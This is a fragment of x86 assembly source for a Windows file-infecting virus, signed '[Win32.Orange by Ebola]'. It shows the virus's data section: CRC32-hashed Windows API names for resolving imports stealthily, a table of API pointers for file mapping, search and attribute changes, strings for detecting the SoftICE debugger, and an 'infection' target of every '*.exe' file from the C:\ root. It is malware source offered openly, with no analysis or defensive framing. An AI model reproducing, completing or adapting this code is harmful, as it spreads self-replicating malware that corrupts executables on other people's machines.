dd 0613FD7BAh ; GetTickCount
|
|
dd 0058F9201h ; ExitThread
|
|
dd 0D4540229h ; WaitForSingleObject
|
|
dd 040F57181h ; ExitProcess
|
|
dd 00AC136BAh ; Sleep
|
|
dd 021777793h ; WriteFile
|
|
dd 004DCF392h ; GetModuleFileNameA
|
|
dd 05BD05DB1h ; CopyFileA
|
|
dd 000000000h ; done mark.
|
|
|
|
|
|
; NumFunctions equ ($-CRC32_PROC)/4
|
|
|
|
GetProcAddress dd 0 ; GetProcAddress
|
|
LoadLibraryA dd 0 ; LoadLibraryA
|
|
CreateThread dd 0 ; CreateThread
|
|
FreeLibrary dd 0 ; FreeLibrary
|
|
CreateFileA dd 0 ; CreateFileA
|
|
MapViewOfFile dd 0 ; MapViewOfFile
|
|
UnmapViewOfFile dd 0 ; UnmapViewOfFile
|
|
CreateFileMappingA dd 0 ; CreateFileMappingA
|
|
CloseHandle dd 0 ; CloseHandle
|
|
FindFirstFileA dd 0 ; FindFirstFileA
|
|
FindNextFileA dd 0 ; FindNextFileA
|
|
FindClose dd 0 ; FindClose
|
|
GetWindowsDirectoryA dd 0 ; GetWindowsDirectoryA
|
|
GetSystemDirectoryA dd 0 ; GetSystemDirectoryA
|
|
SetCurrentDirectoryA dd 0 ; SetCurrentDirectoryA
|
|
GetCurrentDirectoryA dd 0 ; GetCurrentDirectoryA
|
|
SetPriorityClass dd 0 ; SetPriorityClass
|
|
SetFilePointer dd 0 ; SetFilePointer
|
|
SetEndOfFile dd 0 ; SetEndOfFile
|
|
GetFileAttributesA dd 0 ; GetFileAttributesA
|
|
SetFileAttributesA dd 0 ; SetFileAttributesA
|
|
GetFileSize dd 0 ; GetFileSize
|
|
GetDriveTypeA dd 0 ; GetDriveTypeA
|
|
GlobalAlloc dd 0 ; GlobalAlloc
|
|
GlobalFree dd 0 ; GlobalFree
|
|
GlobalLock dd 0 ; GlobalLock
|
|
GlobalUnlock dd 0 ; GlobalUnlock
|
|
IsDebuggerPresent dd 0 ; IsDebuggerPresent
|
|
GetTickCount dd 0 ; GetTickCount
|
|
ExitThread dd 0 ; ExitThread
|
|
WaitForSingleObject dd 0 ; WaitForSingleObject
|
|
ExitProcess dd 0 ; ExitProcess
|
|
Sleep dd 0 ; sleep
|
|
WriteFile dd 0
|
|
GetModuleFileNameA dd 0
|
|
CopyFileA dd 0
|
|
|
|
CurrentProc dd 0
|
|
TempName db 32 dup(0)
|
|
|
|
CurrentOS db 0
|
|
kernel dd 0
|
|
|
|
;** Used while searching for exports
|
|
NumberOfNames dd 0
|
|
ExportAddressRVA dd 0
|
|
ExportNameRVA dd 0
|
|
ExportOrdinalRVA dd 0
|
|
ExportCounter dd 0
|
|
|
|
;** Anti debugging etc
|
|
|
|
SoftICE_Win9X db "\\.\SICE",0
|
|
SoftICE_WinNT db "\\.\NTICE",0
|
|
|
|
;** Various
|
|
|
|
Buffer db 128 dup(0) ; current directory
|
|
Windows db 128 dup(0)
|
|
DirSize equ 128
|
|
|
|
FindData WIN32_FIND_DATA <0>
|
|
|
|
;** Hyper infection
|
|
|
|
DriveRoot db "c:\",0
|
|
FileMask db "*.exe",0
|
|
|
|
;** Misc useless shit
|
|
|
|
Signature db "[Win32.Orange by Ebola]",0
|
|
misc1 db "Dedicated to the NYFD and NYPD.",0
|
|
|
|
virus_end = $
|
|
end start
|
|
|